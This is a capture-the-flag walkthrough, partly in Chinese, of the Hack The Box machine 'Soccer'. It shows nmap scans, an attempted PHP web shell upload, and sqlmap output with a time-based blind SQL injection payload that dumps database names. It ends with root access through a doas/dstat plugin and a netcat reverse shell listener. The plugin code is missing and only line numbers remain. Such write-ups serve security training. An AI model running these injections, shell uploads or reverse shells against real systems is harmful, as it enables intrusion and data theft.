┌──(i3eg1nner㉿minilite)-[~/Downloads/Soccer] └─$ sudo nmap --min-rate 10000 -p- 10.10.11.194 Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 09:22 EDT Warning: 10.10.11.194 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.194 Host is up (0.058s latency). Not shown: 64759 closed tcp ports (reset), 773 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 9091/tcp open xmltec-xmlmail
Nmap done: 1 IP address (1 host up) scanned in 28.92 seconds
┌──(i3eg1nner㉿minilite)-[~/Downloads/Soccer] └─$ sudo nmap -sT -sV -sC -p22,80,9091 10.10.11.194 Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 09:24 EDT Nmap scan report for 10.10.11.194 Host is up (0.0038s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA) | 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA) |_ 256 5797565def793c2fcbdb35fff17c615c (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://soccer.htb/ 9091/tcp open xmltec-xmlmail? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: | HTTP/1.1 400 Bad Request | Connection: close | GetRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 139 | Date: Tue, 06 Jun 2023 13:24:56 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot GET /</pre> | </body> | </html> | HTTPOptions, RTSPRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 143 | Date: Tue, 06 Jun 2023 13:24:56 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot OPTIONS /</pre> | </body> |_ </html> Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.61 seconds
┌──(i3eg1nner㉿minilite)-[~/Downloads/Soccer] └─$ sudo nmap --script=vuln -p22,80,9091 10.10.11.194 [sudo] password for i3eg1nner: Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 09:49 EDT Nmap scan report for soccer.htb (10.10.11.194) Host is up (0.0039s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-vuln-cve2011-3192: | VULNERABLE: | Apache byterange filter DoS | State: VULNERABLE | IDs: BID:49303 CVE:CVE-2011-3192 | The Apache web server is vulnerable to a denial of service attack when numerous | overlapping byte ranges are requested. | Disclosure date: 2011-08-19 | References: | https://seclists.org/fulldisclosure/2011/Aug/175 | https://www.securityfocus.com/bid/49303 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192 |_ https://www.tenable.com/plugins/nessus/55976 |_http-csrf: Couldn't find any CSRF vulnerabilities. 9091/tcp open xmltec-xmlmail
Nmap done: 1 IP address (1 host up) scanned in 76.65 seconds
[+] Leak in the webroot direcory path to upload shell. [+] WEBROOT found: /var/www/html/tiny [+] Trying to upload pwn_1480535420723339776.php to /var/www/html/tiny directory... {"status":"error","info":"The specified folder for upload isn't writeable."} [-] No Success response. Files does not seem to be uploaded successfully. Exiting... Exited.
在这里可以获取到子域名信息,我们再次修改 hosts 文件,添加子域名和 IP 的映射,访问子域名发现,主要界面和主域名是一样的,但是增加了登录和注册的选项,尝试先注册再登录(可以顺便测一下 SQL 注入),登陆后发现只有一个搜索框,存在 SQL 注入的可能性比较高。如果输入自己的票据 id 会提示存在,随便输入会提示不存在,尝试 and 1=1 和 and 1=0,发现语句被执行,因此可以确定存在 SQL 注入。
这里还是要先看下网页源代码,重要收获隐藏在源代码中,当然如果你使用的是 burp suite 那么可以在 target 中看到 sitemap 中有个 9091 的端口。
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:43:22 /2023-06-06/
[12:43:22] [INFO] resuming back-end DBMS 'mysql' [12:43:22] [INFO] testing connection to the target URL [12:43:22] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.11.2') sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 8273 FROM (SELECT(SLEEP(5)))cpyj) --- [12:43:22] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [12:43:22] [INFO] fetching database names [12:43:22] [INFO] fetching number of databases [12:43:22] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] [12:43:30] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 5 [12:43:36] [INFO] retrieved: [12:43:41] [INFO] adjusting time delay to 1 second due to good response times mysql [12:43:56] [INFO] retrieved: information_schema [12:44:57] [INFO] retrieved: performance_schema [12:45:55] [INFO] retrieved: sys [12:46:05] [INFO] retrieved: soccer_db [12:46:36] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, soccer_db, sys' [12:46:36] [INFO] fetching number of tables for database 'information_schema' [12:46:36] [INFO] retrieved: 79 [12:46:41] [INFO] retrieved: ADMINISTRABLE_ROLE_AUTHORIZATIONS [12:48:28] [INFO] retrieved: AP^C
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:51:24 /2023-06-06/
[12:51:25] [INFO] resuming back-end DBMS 'mysql' [12:51:25] [INFO] testing connection to the target URL [12:51:55] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s) [12:51:55] [WARNING] if the problem persists please check that the provided target URL is reachable. In case that it is, you can try to rerun with switch '--random-agent' and/or proxy switches ('--proxy', '--proxy-file'...) [12:51:55] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.11.2') sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 8273 FROM (SELECT(SLEEP(5)))cpyj) --- [12:51:55] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [12:51:55] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns [12:51:55] [INFO] fetching current database [12:51:55] [INFO] resumed: soccer_db [12:51:55] [INFO] fetching columns for table 'accounts'in database 'soccer_db' [12:51:55] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] [12:52:02] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 4 [12:52:02] [INFO] retrieved: [12:52:12] [INFO] adjusting time delay to 1 second due to good response times email [12:52:24] [INFO] retrieved: varchar(40) [12:53:00] [INFO] retrieved: id [12:53:07] [INFO] retrieved: int [12:53:18] [INFO] retrieved: password [12:53:47] [INFO] retrieved: va^C
player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --exploit /usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses import imp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(i3eg1nner㉿minilite)-[~] └─$ sudo nc -lvnp 1234 [sudo] password for i3eg1nner: listening on [any] 1234 ... connect to [10.10.14.145] from (UNKNOWN) [10.10.11.194] 59294 # whoami whoami root # id id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt cat /root/root.txt